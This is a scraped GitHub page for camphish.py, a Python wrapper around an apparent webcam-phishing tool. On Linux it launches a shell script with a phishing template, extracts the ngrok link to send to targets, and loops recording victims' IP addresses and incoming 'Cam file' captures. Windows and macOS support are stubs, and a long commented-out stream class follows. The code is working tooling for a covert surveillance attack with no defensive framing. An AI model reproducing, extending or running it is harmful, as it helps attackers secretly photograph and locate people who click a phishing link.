-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcamphish.py
153 lines (133 loc) · 3.93 KB
/
camphish.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
import configparser
import shlex
import subprocess
import threading
import platform
import sys
import re
global cstm_data
global camphish_proc
class Output:
def __init__(self, link: str = None, connections=None):
if connections is None:
connections = list( )
self.link = link
self.connections = connections
self.old_connections = list( )
class custom_thread(threading.Thread):
def __init__(self, target, args=None, daemon=False):
if args is None:
args = []
super( ).__init__(target=target, args=args, daemon=daemon)
self._is_running = True
def stop(self):
self._is_running = False
camphish_proc.terminate(force=True)
subprocess.run(['killall', 'nrok'], capture_output=True, text=True)
output.link = None
def run(self) -> None:
while self._is_running:
super( ).run( )
output = Output( )
def camphish(template: int, autthoken: str) -> str:
global output
global camphish_proc
"""
:param service: int
:param template: int
:param autthoken: str
:return: ngrok_link
"""
config = configparser.ConfigParser( )
config.read('app.cfg')
if platform.system( ) == 'Linux':
import pexpect
camphish_proc = pexpect.spawn(f'bash startcam.sh 1 {template}')
camphish_proc.timeout = int(config['RUNTIME']['TIMEOUT'])
compiled_ngrok_url = re.compile(r"https://[\w-]*\.ngrok\.io")
camphish_proc.expect(compiled_ngrok_url.pattern)
data = camphish_proc.before
data = data.decode('utf-8')
link = re.findall(compiled_ngrok_url.pattern, data)
if not link:
test = subprocess.run(['./get_ip.sh'], capture_output=True, text=True)
link = test.stdout
output.link = link
pattern = re.compile('\\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\\b')
while True:
camphish_proc.expect([pattern.pattern, 'Cam file received!'])
ip = camphish_proc.after.decode('utf-8')
output.connections.append(ip)
elif platform.system( ) == 'Windows':
print('WINDOWS DETECTED')
return 'Windows support not implemented yet.'
# todo maybe implement Windows support to run supproccesses with interactive answers
elif platform.system( ) == 'Darwin':
print('MacOS(DARWIN) DETECTED')
return 'MacOS support not implemented yet.'
# todo maybe implement MacOS support to run supproccesses with interactive answers
# class TextIOTrap:
# name = None
# buffer = None
# encoding = None
# errors = None
# newlines = None
# line_buffering = None
#
# def __init__(self, **args):
# self.write_handler = args.get('write_handler', None)
# self.name = args.get('name', '-')
#
# def __iter__(self):
# return []
#
# def close(self):
# pass
#
# def detach(self):
# pass
#
# def fileno(self):
# return 0
#
# def flush(self):
# pass
#
# def isatty(self):
# return False
#
# def read(self, n=None):
# return ''
#
# def readable(self):
# return False
#
# def readline(self, limit=-1):
# pass
#
# def readlines(self, hint=-1):
# return []
#
# def seek(self, offset, whence=0):
# pass
#
# def seekable(self):
# return False
#
# def tell(self):
# return 0
#
# def truncate(self, size=None):
# pass
#
# def writable(self):
# return True
#
# def write(self, s):
# if self.write_handler and not s == '\n':
# self.write_handler(s)
# return 0
#
# def writelines(self, lines):
# if isinstance(lines, list):
# for s in lines: self.write(s)